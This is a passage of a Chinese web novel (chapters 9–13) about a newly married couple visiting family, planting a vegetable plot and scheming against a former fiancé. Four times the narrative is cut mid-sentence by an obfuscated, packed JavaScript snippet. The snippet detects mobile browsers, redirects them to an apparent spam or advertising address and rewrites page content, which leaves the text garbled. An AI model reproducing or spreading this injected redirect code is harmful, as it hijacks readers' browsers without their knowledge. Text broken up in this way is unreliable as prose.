重新抱稳女儿,许见月直接问:“秋哥儿,你肩上有伤?” 许见秋点头,谎称道:“昨日不小心撞了一下。” 他神色镇定,刚刚祁胜对他的关心也很明显,许见月没有怀疑,只叮嘱了几句要他平时小心。 见过了关,许见秋悄悄松了口气。 9. 回门 在正阳街买完回门礼,也买了小刀,四人走到许家,许父许母早已在门前等候了。 看见儿子好生生的回来,赵雪梅才暂且将担忧收起,笑着将人迎进门。 一番寒暄过后,许大山和祁胜说话,许见秋则被母亲叫进屋。 “这几天,感觉怎么样?”赵雪梅仔细看着他,压着声音问。 知道家人担心,许见秋抿出一道笑:“娘,我挺好的,无穷村虽然穷了点,但地方宽敞,晒粮食晒野菜都很方便,祁胜他待我也不错。” “他待你当真好?”不等儿子回答,赵雪梅又说,“你可知,新县令已经抵达县衙,蔡县令马上就要走了。” 许见秋笑道:“我知道,祁胜跟我说过这件事。” 听见这么说,又见他神色中带着一抹羞赧,赵雪梅就知道他心里怎么想的了。 “既然想跟他过,那就好好过吧,成了婚难免有摩擦,要互相包容,若是实在不成了,随时回家,家里永远给你留着屋子。”赵雪梅语调温柔。 闻言,许见秋鼻子有些酸,强忍着没有落泪,保证道:“谢谢娘,我跟他都会好好过日子的。” * 从房间出来,许见秋没看见祁胜,便问了一句。 许见月打趣道:“成了亲就是不一样,头一句便问自家汉子。” 许见秋微微红了脸:“姐。” “他跟成林出门了,说要去打探活计。” 得知是去做正事,许见秋便没再问,坐到许见月旁边,问道:“怎么也没看见姐夫。” “你去无穷村的第二天我才听见消息,当天就来了,家里还有铺子要管,老大也要人看着,所以他只留了一天,昨日先回去了。” 许见月十八岁生的头一个孩子,是男孩,已经四岁了,兰兰是老二。 她嫁的夫家就在相邻的桃然镇,是开墨斋的,售卖笔墨纸砚书画等,距离许家不算太远,驾车需要大半个时辰。 说了一会儿话,兰兰一直打哈欠,许见月便把她抱进屋哄睡,许见秋则去厨房帮忙。 他刚踏进厨房,一节藕还没切完,就听见院门口有人喊他。 “像是春哥儿。”许见秋说着放下菜刀,走出厨房一看,果然是赵春儿。 短短几天不见,赵春儿好似憔悴了许多,头发也梳得简单,一看见他就哭了。 这一出叫许见秋有些懵:“春儿,你怎么了?” “我们……”赵春儿吸了吸鼻子,“去你房间说。” 两人进屋,许见秋关上门,转头一看,赵春儿竟给他跪下了。 这一出更叫他意外。 “秋哥儿,我对不起你。”赵春儿哭道,“当日……当日若不是我约你出去,你不会被退婚,更不会嫁到穷村去。” “这不怪你,是我命运如此。”许见秋道,“你先起来。” 赵春儿摇了摇头:“不…是我的问题,是我信了胡天楠的鬼话,故意约你出去的。” “你说什么?”许见秋脸色微变。 当日巧合太多,事后他不是没有怀疑过赵春儿,但亲耳听见事实,对他还是有一定冲击。 “胡天楠他中了廪生之后就来找我,说他喜欢我,让我约你出去,毁了你的清白,如此他便可以退亲,然后娶我……” “你信了?”许见秋不可思议,“你怎么会这么笨,他若真的喜欢你,为何早不说晚不说,偏偏中了廪生才说?” 赵春儿低下头,难以启齿道:“我们……我们早就……” 这两人竟早就勾搭在一起了。 许见秋万万没想到,一时间气得头晕:“你!” “对不起。”赵春儿道歉说,“如今我已经知道错了,胡天楠他就是个人渣,只知道利用我,根本就没有想过娶我。” “你跟我道歉有什么用,纵使我原谅你,也改变不了胡天楠的想法。”许见秋冷声道。 赵春儿既然背叛他不止一天,绝不会突然良心发现给他道歉,现在找他,一定是还想利用他。 果然,赵春儿站起来,说道:“你差点被他害死,被迫嫁给穷鬼,难道就不恨他吗,蔡县令马上就要走了,等到新县令上任,你可以去告他,我给你作证。” “你想利用我报复胡天楠?”许见秋眸色深了深,“要我告他,你能拿出什么证据?” 赵春儿只有胡天楠送的一把折扇,除此之外就没了。 “什么都没有,我怎么告?”许见秋愠怒,“你被他骗了,你怎么不去告?” 明摆着把他当枪使,以为他是傻子吗。 “对不起。”赵春儿又哭着道歉,“我以为你恨他,以为我们是好兄弟,能一起去告他的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405046|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是不想去就算了,都是我的错……” 他哭得上气不接下气,许见秋心里却半点同情都生不出。 因为年岁相仿又都是哥儿,他与赵春儿打小就常在一块儿玩,虽有过摩擦,可都是些鸡毛蒜皮的小孩子事,他自认与对方并无仇怨。 然而,对方竟背着他与胡天楠苟且,毁他名声,时至今日还想利用他,还管祁胜叫“穷鬼”。 他怎能不怨? 赵春儿哭了半天,见许见秋没有半分同意的迹象,只得擦干眼泪,说声告辞。 打开门,赵春儿看见外头站着个男人,顿时害怕地打了个哆嗦。 再仔细一看,这男人穿戴不怎么样,不正是那天救了秋哥儿的人吗。 他张了张嘴,想说什么,又怕事情被捅出去,最终绕过祁胜离开。 许见秋见祁胜走进来,表情有些不自然:“你什么时候回来的?” “才回来,不过听了个七七八八。”祁胜把门关上,挑了挑眉,“你打算怎么料理他?” 许见秋道:“他被胡天楠欺骗,已经得到了教训,我会把这件事告诉他爹娘,剩下就不管了。” “你那前未婚夫呢,也这样轻飘飘放过?”祁胜走到哥儿身边,倚着衣柜,语气听不出喜怒。 许见秋拧眉:“我当然不想放过,可他如今是廪生,我又没有证据,恐怕很难告倒他。” 祁胜道:“不是很难,是根本不可能告赢。” 依照国法,秀才见官不跪,若查实犯罪,县令首先得上报,得到上级公文,革除秀才功名后,才可判处。 许见秋就是个普通老百姓,胡家交税那么多,两兄弟日后还有可能考中举人做官,没证据的事,县令干嘛要费心费力调查,得罪胡家? 听祁胜这么一分析,再想到蔡县令的昏庸,许见秋也觉得更加无望了。 他心里难免憋屈,情绪写在脸上。 祁胜看着自己夫郎,心头浮起几分异样情绪。 须臾,他走到许见秋旁边坐下,伸手将人揽进怀里:“虽然告状行不通,可你若真想报复他,不是没有别的法子。” 许见秋靠在年轻汉子的肩头,耳根热度上升。 最近几夜,两人都躺在同一张床上,看似亲密,实际却没什么接触。 这还是头一次,两人真正依偎。 10. 挖地 他有些不适应,想要重新坐直,却听见男子状似无意的声音:“怎么,不给抱?” “没有。”许见秋下意识回道。 祁胜唇角勾了一下,松开手,放人自由。 两人腿碰腿,肩挨肩,许见秋掩下羞赧情绪,问:“你说有别的法子,是什么?” “让他们狗咬狗。”祁胜道,“刚才那个谁不是想嫁给胡天楠吗,既然如此,就让他如愿。” 许见秋没有懂:“白送他一个夫郎,怎么能算报复?” 有功名或者交税高的汉子是可以纳妾的,就算娶了不喜欢的人,也可以再纳一房妾室。 再者,男子是可以休夫的。 “自然不能白送,得让他付出代价。”祁胜没说具体,“总之,你若是相信我,这件事交给我来办。” 许见秋当然相信祁胜,同时他也担心:“若是冒险就别办了,我们如今也挺好的,他作恶多了,自会有恶报。” “放心,不会把我卷进去。” — 在许家吃了一顿晌午饭,下午许见秋和祁胜两人去采买。 冯四哥要半斤盐,自家也得买上半斤,其它调料也要有。 买了些糊窗户的纸,家里的窗户漏风,早就该换了。 米面各称了五斤,油两斤,没有多买,过几日祁胜来镇上干活,到时候许见秋就回食馆住,可以等到那时再买。 “还要买些菜种子,铁锨锄头什么的。” 祁胜一听就知道对方想让自己干农活,他试图拖延:“过几日再买吧,如今种了也没时间照看。” “我问过娘,她说种子种下去不需要怎么照看,小心别让鸟兽毁了就是。”许见秋认真道,“早几日种上,我们就能早几日吃上自家的菜,就不用花钱买了。” 说罢,他拉着祁胜进了铁匠铺。 铁器贵重,一般都需要定做,不过农具有现成的。 买了铁锨、锄头和耙子,花了二两三钱。 祁胜看着许见秋给钱,心里直叹气。 真不会算账,二两三钱买菜不知道能吃多久,现在买了农具,不仅要自己动手劳作,日夜操心,还不一定能收获。 完全划不来。 然而夫郎正在兴头上,走出铁匠铺之后,看向他的眸子都更亮了:“有了这些就方便种地了,种树也用得上。” 祁胜扛着农具,附和道:“是这样,农具虽贵了些,但值得买。” 米面加上农具已经很重,除了菜苗外,两人便没再买旁的,拿着东西回了许家。 驴车早就套好了,车上已经放了半车东西,是许父许母想给他们的。 一大一小两个木柜,木盆碗盘,还有垫肚子的点心、炸物。 小家什么都缺,许见秋就没跟父母客气:“谢谢爹娘,等我们日后挣了钱,也一定回报家里。” 赵雪梅笑道:“瞧你说的,给东西是希望你们过得好,又不是求回报。” 说罢,她先上了车。 这次不叫许成林送,她和许大山打算去无穷村看看,也认认路。 祁胜说自己会驾车,便由他坐在前面赶车。 一路没出什么意外,顺顺利利进了村,在两间土房子前停下,许见秋跳下车,有点忐忑地看向父母。 祁胜只有两间房,这并不可怕,可怕的是两间房又老又破旧。 许大山早就听大儿子描述过,然而亲眼看见,还是忍不住叹了口气。 他小时候都没住过这么破的房子,自家好生养大的哥儿却要吃这个苦头。 不过他并没有说丧气话,反而道:“房子小点没什么,你们还年轻,好好干活,总有一天能换大房子。” 赵雪梅也道:“是这个理,钱都是一点点挣出来的,只要人不坏,那就什么都不怕。” 许见秋也是这么想的,所以他才愿意给祁胜当夫郎。 他们俩好手好脚,好好干活,以后日子会好起来的。 — 因为要在天黑之前赶回镇上,许父许母各喝了杯茶,在周围看了一圈后,便回程了。 屋子里多了两个柜子,许见秋重新归置东西,祁胜挖地松土。 收拾好后,许见秋往外看了一眼,见祁胜袖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405047|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挽至臂弯,正努力挖土,不由得抿出一道笑。 祁胜看着瘦,手臂却并不细弱,用劲时,肌肉线条十分明显。 许见秋看了一会儿,确定对方没有偷懒,这才端着茶碗走出去:“累不累,歇一会儿吧。” 祁胜擦了把汗,继续劳作:“马上就干完了。” 许见秋便把茶碗放在一边的椅子上:“那你继续,我去拾点柴。” 家里还有柴,但木柴这种东西,能多捡就捡,迟早会用到的。 许见秋拖着背篓,就在家附近捡树上自然掉落的枯枝,这种柴最好烧了。 无穷村人少,干柴好捡,没多久就捡满了一背篓,喊祁胜来背回去。 “晚上焖个萝卜,烙杂面饼如何。”许见秋晌午吃得多,这会儿其实不饿。 祁胜点头:“你看着办。” 反正不管怎么弄,都比他一个人将就时要好。 许见秋走进厨房,祁胜跟着进去,下一瞬就被夫郎赶了出来。 原因无它,厨房太小了,站两个人实在拥挤。 祁胜站在院子里叹气,头一回觉得两间屋子不够用。 等许见秋把饭做好,两人又在门前的空地上吃饭。 狸奴也在不远处用餐,吃和他们一样的。 食馆那只胖狸奴无肉不欢,这只瘦狸奴却是什么都吃,半点都不挑食。 吃着饭,许见秋又想到了建房子一事。 现在天气不算冷,可以在外面吃,等到冬日,就得在厨房吃了。 厨房兼顾着柴房功能,冬天还要堆许多柴,还得把猫窝挪进去,能站人的地方很少,也危险,容易起火。 还得防着猫偷食。 “祁胜,我手头还有些钱,要不我们再建两间土房吧。” 建房子的想法与祁胜不谋而合,但老是用许见秋的钱,祁胜心里过意不去。 “先等等,过段时间挣到钱就建。”祁胜心里已有了挣钱的法子,“我保证,冬天之前建好。” 他如此胸有成竹,料想他日后会好好干活,许见秋抿出一抹笑:“好,我相信你。” 11. 菜地 月明星稀,秋风卷起落叶,又轻轻放下。 两人又是躺在同一张床上,许见秋都快睡着了,忽然感觉到有人捉住了自己的手,还揉了揉手指。 他顿时清醒了。 摸他的必然是祁胜,这屋子里没有第三个人。 糊好的窗户挡住了月光,许见秋在黑暗中睁眼,听着自己的心跳声,却没有动。 祁胜握着夫郎的手,一开始只敢轻轻触碰,发现人并没有被自己惊醒的迹象后,逐渐大胆起来,整个攥进手里摩挲。 他发现许见秋的手很软,就像书上所写的“柔若无骨”。 真神奇,明明骨头一块不少,干活做事都很有劲儿,手上还有薄茧,怎么会这么软? 难道哥儿都是这样? ——他没摸过其他哥儿的手,无从查证。 握了一会儿夫郎的手,祁胜觉得不满足,侧身伸手将人整个揽住。 突然被汉子抱住,许见秋呼吸加重,马上被祁胜发现。 “你醒了?”祁胜抱人时理直气壮,等到人醒了,说话竟有些心虚。 许见秋嗯了一声。 祁胜把人放开,往旁边挪了挪。 床约摸四尺宽,睡两个人是足够的,他挪到最边沿,正好不会碰到许见秋。 这么“避嫌”自然是有原因的。 他今年十七,正是血气方刚的岁数,一丁点刺激都能起意,更何况是抱着自己所喜欢的哥儿。 许见秋看上去对那种事不太有意向,他怕吓到对方。 等了一会儿,祁胜依旧没有再贴近他,许见秋心中有几分失落,还有几分莫名的躁郁,但自己是名哥儿,打小的教育叫他不好意思主动凑过去。 他闭上眼,过了不知多久,方才沉沉睡去。 次日 仍是天亮就起,昨夜下了场雨,气温也降了些。 许见秋加了件马甲,用一半杂米一半白米煮了饭,把剩下的蔬菜全都做熟了。 放的久了,再不吃就焉了。 吃饱饭,许见秋叫祁胜先去找合适的树枝做篱笆,他自己则去洗衣裳。 祁胜的屋子破旧,但在无穷村属于位置还不错的,距离水井和小河边都不远。 许见秋端着木盆过去,石阶上已经有了两名年老的妇人在洗衣裳,他就在旁边找了个位置。 他已经来无穷村好几天了,也和村子里其他人说过话,大家知道他是祁胜的夫郎,也都不愿意相信这个事实。 那祁胜好吃懒做,怎么就能娶到天仙般的哥儿? “秋哥儿,来洗衣裳?”黑衣妇人问了句废话。 许见秋应了声,褐衣妇人道:“你倒是勤快,只是一个家想要富起来,还得汉子有本事,肯干活。” 这话指向性太明显,许见秋想忽视都不行。 “婶子说的是。”许见秋笑了笑,“您嫁人几十年了,一直生活在无穷村,您说的道理自然是对的。” 这话是嘲讽她家汉子没本事,几十年都出不去村,褐衣妇人常跟人吵架,一下就听出来了言外之意。 她没想到一个小辈敢这么跟她顶嘴,稀疏的眉毛顿时拧起,想要破口大骂。 然而,看着许见秋穿着的细棉衣裳,再想到昨日看见的那辆驴车,她又怕被许见秋有本事的娘家人报复,因此张了张嘴,最后什么都没敢说,自己咽下怨气。 她心里也更加嫉恨,凭什么祁胜能娶到镇上哥儿,得到岳家扶持,她两个儿子都二十多了,条件不知比祁胜好多少,却无人愿意嫁。 两个人换下来的衣裳少,许见秋很快洗完,端着盆走了。 扎篱笆需要的材料多,祁胜还没找齐,许见秋便让他继续找,自己先栽菜苗。 菜苗比种子好成活,他们俩都没有自己种过菜,所以就都买了菜苗。 栽菜苗很简单,用小锄头挖坑,把根上带着泥土的菜苗放进去,填土,浇上水就行了。 要点是注意每种菜的不同间距,还有菜苗得正,不能东倒西歪的,需要一些耐心。 前夜昨夜都过雨,虽然都不多,但泥土到底湿润了些,所以需要浇的水也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405048|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多,祁胜可以少挑几趟水。 许见秋种了葱蒜、萝卜、崧菜还有莴苣,都不多,但等到成熟,足够他和祁胜两个人吃。 种完菜,祁胜也找齐了材料,两人一同扎篱笆。 泥土湿润,菜地不大,篱笆很快就圈好了。扎的密实,用树叶填满了空隙,不怕走兽进去。 门前空地少了一块,等以后建了房子会更少,不过看着更有过日子的感觉了。 早上的菜没有吃完,许见秋烙了张大饼,把剩菜煮成汤,汤泡饼也很好吃。 吃到半饱,他道:“这次回门,我跟爹娘商量了,我们没有庄稼地,没有要紧的活儿,爹娘又开着食馆,食材消耗多,所以我们可以在乡下收些鸡蛋干菜什么的,什么时候有空便拿回去,市价卖给他们。” 鸡蛋金贵,价格比较统一,赚不着什么钱,但干菜尤其野菜在村里非常便宜,是肯定能赚的。 许家食馆生意不错,每天都能有十几桌,马上冬日需要储存干菜,反正收哪家的菜都是收,何不帮衬一下自家哥儿,也更放心来源。 许见秋:“绿水村的员外家,收马齿苋这些野菜是两斤一文钱,我们房子小,只收干菜,十文钱一斤,定是能收到的。” 约摸十斤菜出一斤干菜,虽然做干菜要自己蒸煮晾晒,但价钱能翻一倍,是比卖新鲜菜划算多的。 干马齿苋如今在镇上一斤能卖十七文,食馆收购是十五文,他们每收一斤就能赚五文。 祁胜听了就知道是个能赚到钱的营生,但需要他辛苦些,拉着车去各村走动收购,多磨嘴皮子。 放在以往,他不愿意做这些,觉得繁琐劳累,还操心,总之就是烦人,遇见讲不通道理的更烦人。 但今时不同往日,他有了夫郎,不能一直花许见秋的钱,那太不要脸了,他得有点自己的稳定收入。 “好,吃完饭我就去找找木匠订车,等秋收过后,我就去收菜。” 累就累吧,大不了到时候干几天歇几天,挣的钱够两人日常用就行了。 祁胜心想。 12. 小黑大胖 转眼间几天过去,两人再度坐车去镇上。 这回因为要在镇上住半个月左右,两个人不仅带了衣裳鞋子,还把狸奴也带上了。 狸奴待在临时编织的笼子里,由于没有坐过驴车,性子又有些胆小,趴在笼底一动不动,看上去乖乖的,很惹人怜惜。 许见秋看的心底发软,忽然好奇起这只小猫的来历,便问了祁胜。 “路上捡的。” 大约半年前,祁胜在镇上干完活,坐车回来,路过一道水坑,忽然听见细弱的“喵喵”声,便多看了一眼。 他看见那水坑里有好几只明显刚出生不久的狸奴,只有一只在叫唤,其它的应该是死了。 不是什么稀奇事,乡下不会给狸奴做绝育,母猫产崽后,家里又没有多余的粮食养那么多,若是送人送不出去,就只能扔了。 祁胜看着水坑里的虚弱幼崽,不知想到什么,起了恻隐之心,便将黑猫救起,带回了家。 他没跟许见秋说那么详细,没提其它死猫,只说看见小黑在水坑里叫唤,正好自己需要一只狸奴逮老鼠,就带回家了。 “那它是公猫还是母猫?”许见秋又问。 祁胜道:“不知道。” 许见秋也不会认公母,便说:“等回到家,我问问娘。” 这次坐车的人少一点,三刻钟就到了镇上,两人走到食馆后院。 食馆分前后,后面除厨房柴房洗澡间仓库外,总共六间房,父母住一间,姐弟四人一人一间,还有一间是给伙计们临时休息用的。 其他人都在前面忙碌,只有许成州在等着他们。 给他们开了门后,许成州便直言不讳问道:“二哥,胜哥是跟你睡,还是跟我住?” 许见秋看向祁胜,祁胜毫不犹豫道:“跟你住,两个汉子方便些。” 闻言,许见秋抿了抿唇,心里有几分失落。 那天祁胜抱过他之后,后面几日两人都没什么进展,如今祁胜又选择不和他住一屋,他免不得多想。 莫非是祁胜觉得他睡相不好,所以才不愿意和他一张床? 祁胜从一开始就想赶他走,他不愿意走,死皮赖脸留下,对方才接受他当夫郎。 或许,他对于祁胜而言只是将就,祁胜还是更喜欢没有夫郎的日子。 “二哥,你是不是不高兴。”许成州注意到他的情绪。 许见秋连忙否认:“没有不高兴,只是在想小黑会不会被大胖欺负。” 大胖就是食馆里原有的那只猫,打小就圆润,取名大胖。 许成州把小黑从笼子里取出来,抱在怀里摸了摸脑袋,然后抬起后腿仔细察看:“有可能,两只都是公猫,可能会打起来。” 又大咧咧说:“没事,我多看着,它们若是打起来,我教训大胖。” 说着,他看这小狸奴这么瘦,给祁胜指了自己的屋子,就先带小黑去吃东西了。 许见秋先进了许成州的房间,解开包袱,把祁胜的几件衣裳一双鞋子还有牙刷毛巾拿出去。 剩下的全是他自己的,他重新给包袱打结,祁胜拿起,两人一起进了他的房间。 祁胜关了门,将包袱放在桌上,捻了捻手指,想握夫郎的手又不好意思。 那晚他熬了半夜,后面都不敢再越雷池半步,如今住在岳家,更不敢和许见秋躺在同一张床上了。 万一发生什么被听见,那多羞耻。 不过,想到接下来半个月可能都没办法再亲近自己夫郎,他又有点后悔选择和许成州一个屋。 许见秋默默归置物品,见男子一直站着不动,忍不住说:“你去收拾自己的东西吧,收拾完我们去食馆帮忙。” 话落,他忽然被人从后面抱住。 今天很热,抱在一起其实并不好受,但是许见秋也不觉得难受。 他呼吸微滞,声音不自觉带上嗔意:“你干嘛。” “抱一会儿。”祁胜低声道,“明日我就要去酒楼打工了,回家晚,总不能当着爹娘的面抱你。” 云开雾散,许见秋骤然想通,耳根滚烫。 祁胜见他不反抗,下巴搁在夫郎的肩膀上,深深吸了口气。 从许见秋第一天搬到无穷村起,他就发现对方身上有一股奇特的香味。 一开始他以为哥儿身上抹的什么香,后面却发现许见秋只有一小盒面脂,那面脂气味极淡,和许见秋身上所散发出来的不同。 书上说“温香软玉”诚不欺人。 抱了一会儿,听见小弟的声音,许见秋连忙把人推开,走出门去:“成州,怎么了?” “没事,大胖想抢食,我骂它呢。”许成州蹲在院子里,不断地驱赶大胖,护着小黑吃喝。 胖三花充满怨气地盯着许成州,喵喵吼叫,似乎在诉说什么。 “大胖真是越来越贪了。”许见秋摇了摇头。 狸奴天生漂亮,容易让人类怜惜。大胖在食馆里走动,基本不会有食客厌烦它,还常常主动投喂它,它天天都吃得很饱,却还要抢小黑的食物,实在让人生气。 “或许它并不是护食,只是误以为主人有了新的狸奴,才会对小黑有敌意。”祁胜在一旁道,“你别拦着,让它吃一口试试。” 闻言,许成州半信半疑地撤回手。 大胖迈步到食盆前,小黑害怕地躲开,大胖雄赳赳气昂昂地吃了口肉汤泡饭,又故意在许成州腿上蹭了蹭脸,许成州顺势揉了揉它的脑袋,它眼神便和善起来,退让到一边不再吃了。 果然不是护食,只是争宠。 许见秋拧着的眉头松开,觉得有些好笑,原来狸奴也会争宠,像人似的。 * 午时过后,食馆没什么客人了,许大山就没再让他们小夫夫帮忙。 许见秋说自己要去逛街,实则带着祁胜去了赵春儿家。 赵春儿的父亲是码头管事,母亲在大户人家当婆子,家境比不上许家,不过也不差。 两人走进小院时,赵春儿正在给弟弟缝衣裳。 抬头看清是他们两人,赵春儿脸色煞白,针尖扎进手指:“你们怎么来了。” “来找你玩。”院内还有其他人,许见秋露出道笑,语气寻常道,“上次我们俩约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405049|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好要去划船,正好今日我有空,你去不去?” 赵春儿心里慌得很,生怕家里人知道丑事,连忙点头答应。 三人出了院门,一直走到没人的亭子才停下。 “春哥儿,这些天我想了很多。”许见秋开口道,“你虽然辜负了我的信任,但既然我会被胡天楠蒙骗,你被他蒙骗也在情理之中。” “胡天楠戏耍你们兄弟二人,无论如何不能让他全身而退。”祁胜接着说。 闻言,赵春儿以为报复有戏,立即抬起头:“你们想怎么办?” 祁胜道:“我的方法有些风险,在我说出来之前,你得坦诚告诉我们,你和他有没有同过床?” 赵春儿嘴唇颤抖,好半天才道:“他……他中了廪生之后,有过……” “你可有身孕?”祁胜接着问。 赵春儿摇头,声音不自觉带上哭腔:“我不知道,我一个未出嫁的哥儿,哪里敢看郎中。” 但他最近总是吃不下东西,还会呕吐,他怀疑自己有孕了,所以在胡天楠不耐烦说出不会娶他做正夫后,他才会那般惊恐,那般想要报复。 胡天楠毁了他。 “不论有没有,他既然要了你,就应该负责。”祁胜道,“我有法子叫他娶你。” 赵春儿蓦地停了哭声:“当真?” “自然是真的,只是需要你出些钱。”祁胜靠在柱子上,“你知道的,我是个穷鬼,一文钱也拿不出。” “需要多少?” “十两银子。” 听见数目,赵春儿睁大眼睛:“我怎么可能有这么多。” 十两银子都够他们一家人三年开销了。 “胡家那么有钱,他难道没有给你一些?” 赵春儿低下头:“他是给过,但没有那么多,而且我平日里也要花销。” “十两银子,一文不能少,你若是没有,我们帮不了你。”祁胜沉声道,“你想清楚,若你真有身孕,即便是现在出嫁,也已经来不及了。” 若真有身孕,他如今已至绝境。 咬了咬牙,赵春儿道:“好,我给你十两银子,但你得保证成功,而且不能把我的事情说出去。” “不保证成功,但保证不会将你的事说出去。”祁胜道。 把柄在他们手中,赵春儿也只能忍气同意。 — 顺利拿到十两银子,祁胜取了一两,剩下的递给许见秋:“你收着,家里用。” “嗯。”许见秋仔细装进钱袋,酒窝显露出来,“九两应该够盖房子了。” 说罢,他又忍不住问:“祁胜,你到底要用什么法子?” 祁胜招了招手,示意他凑近。 许见秋看了看左右,贴近汉子。 祁胜在他耳边低语道:“佛曰,不可说。” 许见秋一向觉得祁胜声音好听,他形容不出来,总之就是好听,干净,很吸引人。 此刻,对方湿热的呼吸落在他耳边,带着几分笑意,明知道是在逗他,他还是禁不住红了脸。 他推了祁胜一下:“不愿意说就算了。” 13. 流言 “以后都会告诉你的。”祁胜握住夫郎的一只手,语气随意又郑重,“什么都会告诉你。” 许见秋并未明白这句话的深意,其实他也不是非要深究,他只是担心祁胜。 他痛恨胡天楠和赵春儿,比谁都希望这两人倒霉、下地狱,但若是以祁胜的安危为代价,那他宁愿不报复。 明白夫郎心中所想,祁胜保证道:“放心吧,我不会有事的,好不容易有了夫郎,还没过几天好日子,我怎么可能冒险。” 这句话等于在说他好,许见秋耳根发烫,心底止不住偷偷喜悦。 祁胜也喜欢他,真好。 * 次日 许见秋听见外面的动静便醒了,披上衣裳,打开门一看,果然是祁胜要走了。 “你等等。”许见秋小声说,“我给你做饭。” “不用麻烦,我买几个包子就行。”祁胜知道哥儿前一晚忙到很晚,“你继续睡吧。” 许见秋是有点困,但他还是想给祁胜做饭。 主要是,能和祁胜多待一会儿。 虽然也不知道多待一会儿有什么意义,但他就是想要这么做。 前一天的白米饭正好剩一碗,许见秋又切了几片熏肉,打一个鸡蛋,洗了几片青菜叶。 油热先下鸡蛋,炒熟后加入肉片、青菜,最后放打散的米。 调味只加了盐和葱花,虽然简单,出锅却很香,光是看着就让人食指大动。 “夫郎真贤惠。”祁胜接过满满一碗炒饭,趁机攥住哥儿的手,揉了揉手心。 许见秋手心发痒,抽回手:“你快吃饭吧,别轻浮了。” “我摸自己夫郎,哪里轻浮?”祁胜挑起一边眉毛。 许见秋看向窗外:“大白天的,还不轻浮吗。” “意思是说晚上就可以随便摸?” 许见秋点了点头。 他们如今是夫夫,晚上关起门来,自是想做什么都可以。 祁胜本是随口调戏,结果见哥儿神色认真,模样可爱,不禁心动起来。 “晚上我去找你。”祁胜低声说道。 知道对方什么意思,许见秋脸红了红。 看着祁胜吃完,又送对方到门口,许见秋才返回厨房清洗碗筷。 另一边,祁胜走进镇上最大的酒楼——来财酒楼后院,管事的递给他一件绣着“来财”二字的麻布围裙,叫他系上。 这是店内统一的,所有伙计都得穿。 祁胜顶替的是跑堂,负责在一楼大堂传菜端菜收盘。 现在是早晨,酒楼还没有开门营业,只开了窗户。 他和另一名伙计张二拿了拖把抹布,在大堂清扫。 张二家里没地,是老伙计,在酒楼干了有三年。 “小子。”抹完一张桌子,张二出声打招呼,“我叫张二,你叫什么。” “祁胜。” 张二:“你这名字,跟取了许家哥儿的那个丑汉一样,不过你可不丑,模样俊着呢。” 祁胜一顿:“哪个许家?” “怎么,你还没听说?”张二爱说话,热情道,“镇上都传遍了,许家食馆的哥儿,原本和胡二少爷定亲,眼看就要成亲当上少夫郎了,却不慎落水,被一个穷村的一个又老又丑的汉子给救起来。” 张二添油加醋说着自己听闻的版本:“胡二少爷考中廪生,风头正盛,哪里能容忍自己未婚夫跟别的汉子有染,就想退婚,可许家好不容易要有金龟婿了,怎么都不愿意退,两家闹到公堂,请县太爷做主。” “县太爷判许家哥儿嫁给丑汉,胡家是高兴了,许家却很愤怒,大闹公堂,把自家哥儿藏起来,据说还将那丑汉子打了个半死。” 说到此处,张二摇摇头,啧啧几声,似乎是在谴责许家失德。 “后来县太爷得知此事,勒令许家放人,许家哥儿才真的嫁到穷村去,现在不知道怎么样了。” 祁胜一听便知,这背后有人推波助澜,刻意编造了这么一个版本,为的就是撇清胡家,叫胡天楠在众人眼中有个好印象。 “他现在很好。”祁胜声音不疾不徐,“许家也没打过我,今早我出门时,我夫郎还专门起床给我做了炒饭。” 这段话信息量太大,张二呆滞了一小会儿才梳理清楚:“你的意思是,你就是祁胜?” “不不不,我是说,你就是救了许家哥儿的那个人?” 祁胜点头道:“没错,我就是那个又老又丑的穷村汉子。” 祁胜身量很高,体态漂亮,容貌俊朗,年龄更不必说。但凡不是个瞎子,都不会认为他又老又丑。 